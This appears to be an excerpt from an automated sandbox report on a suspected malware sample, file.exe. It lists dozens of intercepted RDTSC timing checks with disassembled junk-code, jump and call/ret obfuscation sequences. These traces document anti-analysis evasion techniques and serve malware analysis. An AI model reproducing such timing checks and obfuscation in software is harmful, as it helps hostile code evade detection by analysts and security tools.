Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9576 second address: 9A95E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB495512306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB495512319h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FB495512311h 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e pop eax 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007FB495512317h 0x00000026 jmp 00007FB495512315h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9728 second address: 9A9741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FB49551661Bh 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9741 second address: 9A9745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9745 second address: 9A9749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9749 second address: 9A9758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9758 second address: 9A975C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A975C second address: 9A9776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512316h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9776 second address: 9A9780 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB49551661Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABEF5 second address: 9ABEF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABF8B second address: 9ABF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABF8F second address: 9ABF98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABF98 second address: 9AC05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 add dword ptr [esp], 70776E16h 0x0000000d mov dword ptr [ebp+122D1CDEh], esi 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FB495516618h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f pushad 0x00000030 jnl 00007FB49551661Ch 0x00000036 movzx eax, si 0x00000039 popad 0x0000003a sbb dl, FFFFFF97h 0x0000003d push eax 0x0000003e mov cx, 63BBh 0x00000042 pop ecx 0x00000043 push 00000000h 0x00000045 mov ecx, dword ptr [ebp+122D3841h] 0x0000004b jne 00007FB49551662Dh 0x00000051 push 00000003h 0x00000053 push 978DCA30h 0x00000058 push esi 0x00000059 jmp 00007FB49551661Eh 0x0000005e pop esi 0x0000005f add dword ptr [esp], 287235D0h 0x00000066 lea ebx, dword ptr [ebp+12459E24h] 0x0000006c mov dword ptr [ebp+122D5747h], edx 0x00000072 xchg eax, ebx 0x00000073 jmp 00007FB495516624h 0x00000078 push eax 0x00000079 je 00007FB495516620h 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC091 second address: 9AC097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC097 second address: 9AC176 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FB495516616h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub edi, dword ptr [ebp+122D1AB4h] 0x00000015 push 00000000h 0x00000017 mov ecx, ebx 0x00000019 push 11A4F61Bh 0x0000001e jmp 00007FB495516628h 0x00000023 xor dword ptr [esp], 11A4F69Bh 0x0000002a mov di, 1518h 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FB495516618h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov edx, 50C43D35h 0x0000004f push 00000000h 0x00000051 jmp 00007FB495516622h 0x00000056 push 00000003h 0x00000058 or edx, dword ptr [ebp+122D3A79h] 0x0000005e call 00007FB495516619h 0x00000063 ja 00007FB495516624h 0x00000069 push eax 0x0000006a jo 00007FB495516632h 0x00000070 jno 00007FB49551662Ch 0x00000076 mov eax, dword ptr [esp+04h] 0x0000007a jnp 00007FB49551661Eh 0x00000080 push edx 0x00000081 jnc 00007FB495516616h 0x00000087 pop edx 0x00000088 mov eax, dword ptr [eax] 0x0000008a jc 00007FB49551661Eh 0x00000090 push edx 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC23A second address: 9AC2A0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB495512306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FB495512308h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FB495512308h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D2D49h], edx 0x00000047 push F715E1EAh 0x0000004c push eax 0x0000004d jc 00007FB49551230Ch 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC2A0 second address: 9AC322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 add dword ptr [esp], 08EA1E96h 0x0000000c push ecx 0x0000000d jmp 00007FB49551661Dh 0x00000012 pop edx 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FB495516618h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov di, 02D3h 0x00000033 push 00000000h 0x00000035 call 00007FB495516622h 0x0000003a cmc 0x0000003b pop ecx 0x0000003c push 00000003h 0x0000003e pushad 0x0000003f mov dword ptr [ebp+122D1A46h], ecx 0x00000045 sub dword ptr [ebp+122D19F3h], edi 0x0000004b popad 0x0000004c call 00007FB495516619h 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 jmp 00007FB49551661Bh 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC322 second address: 9AC328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC328 second address: 9AC343 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB495516616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FB49551661Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC343 second address: 9AC374 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB495512308h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jbe 00007FB49551230Eh 0x00000014 push eax 0x00000015 js 00007FB495512306h 0x0000001b pop eax 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f jmp 00007FB49551230Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC374 second address: 9AC378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA7EE second address: 9CA7F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA978 second address: 9CA983 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB52C second address: 9CB536 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB49551230Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7C9 second address: 9CB7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB7DA second address: 9CB7F2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB495512312h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAED8 second address: 9DAF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Fh 0x00000009 jne 00007FB495516616h 0x0000000f jmp 00007FB495516627h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB495516621h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB21F second address: 9DB248 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB495512310h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB495512311h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB3C5 second address: 9DB3CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB7CF second address: 9DB7D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB8EC second address: 9DB8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC523 second address: 9DC527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC527 second address: 9DC531 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC943 second address: 9DC948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC948 second address: 9DC94E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCDDB second address: 9DCDDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCDDF second address: 9DCDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCE6A second address: 9DCEB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FB495512308h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 pushad 0x00000025 movsx edx, di 0x00000028 popad 0x00000029 nop 0x0000002a pushad 0x0000002b jmp 00007FB49551230Ch 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD1E6 second address: 9DD1FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495516620h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD361 second address: 9DD37A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FB495512306h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD37A second address: 9DD380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE3EE second address: 9DE3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE3F2 second address: 9DE405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB49551661Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF3FD second address: 9DF49B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB495512317h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FB495512308h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3931h] 0x0000002c pushad 0x0000002d push eax 0x0000002e mov ecx, 6B8F6411h 0x00000033 pop ecx 0x00000034 popad 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FB495512308h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 push 00000000h 0x00000053 push edx 0x00000054 jmp 00007FB495512315h 0x00000059 pop edi 0x0000005a push eax 0x0000005b jp 00007FB495512312h 0x00000061 jc 00007FB49551230Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFF02 second address: 9DFF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFF09 second address: 9DFF10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0988 second address: 9E0999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0999 second address: 9E09A3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB49551230Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1DAE second address: 9E1DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1DB4 second address: 9E1DF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, BB9Ch 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D38C9h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007FB495512308h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov di, 5588h 0x00000037 push eax 0x00000038 push edi 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1212 second address: 9E1218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1218 second address: 9E1225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E29C9 second address: 9E29CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E29CE second address: 9E29E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB495512306h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007FB495512326h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E29E6 second address: 9E29EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E601F second address: 9E6027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6027 second address: 9E602F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E72EA second address: 9E72EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E72EE second address: 9E730B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E730B second address: 9E7315 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB49551230Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2706 second address: 9E2719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB495516616h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FB495516616h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFDF7 second address: 9EFDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F22E5 second address: 9F22EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E82CE second address: 9E82DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FB495512306h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F22EB second address: 9F2304 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FB49551661Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA908 second address: 9EA90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC822 second address: 9EC8E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FB495516616h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FB49551661Ah 0x00000012 nop 0x00000013 jmp 00007FB495516627h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f add dword ptr [ebp+12459F3Ch], ebx 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c js 00007FB495516617h 0x00000032 clc 0x00000033 mov eax, dword ptr [ebp+122D0E99h] 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FB495516618h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push edi 0x00000054 add di, B10Ah 0x00000059 pop edi 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push edx 0x0000005f call 00007FB495516618h 0x00000064 pop edx 0x00000065 mov dword ptr [esp+04h], edx 0x00000069 add dword ptr [esp+04h], 0000001Ch 0x00000071 inc edx 0x00000072 push edx 0x00000073 ret 0x00000074 pop edx 0x00000075 ret 0x00000076 adc ebx, 67129261h 0x0000007c sub dword ptr [ebp+12469E9Dh], ecx 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jng 00007FB495516627h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED939 second address: 9ED99C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 58F4328Fh 0x0000000f or di, 1744h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b xor dword ptr [ebp+122D23B3h], edi 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push edx 0x00000029 cld 0x0000002a pop edi 0x0000002b mov eax, dword ptr [ebp+122D0B49h] 0x00000031 pushad 0x00000032 jmp 00007FB49551230Eh 0x00000037 mov edi, dword ptr [ebp+122D38CDh] 0x0000003d popad 0x0000003e push FFFFFFFFh 0x00000040 mov dword ptr [ebp+122D2D49h], ecx 0x00000046 nop 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a jno 00007FB495512306h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0015 second address: 9F00BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516624h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D1D62h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FB495516618h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FB495516618h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 push ebx 0x00000053 and bx, 056Dh 0x00000058 pop edi 0x00000059 mov di, 09A4h 0x0000005d mov eax, dword ptr [ebp+122D0F6Dh] 0x00000063 or bx, D8E5h 0x00000068 push FFFFFFFFh 0x0000006a pushad 0x0000006b call 00007FB49551661Fh 0x00000070 push ecx 0x00000071 pop esi 0x00000072 pop edx 0x00000073 mov dword ptr [ebp+122D19ACh], eax 0x00000079 popad 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d jbe 00007FB495516620h 0x00000083 jmp 00007FB49551661Ah 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC8E7 second address: 9EC8F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB495512306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F34E2 second address: 9F34FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB49551661Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
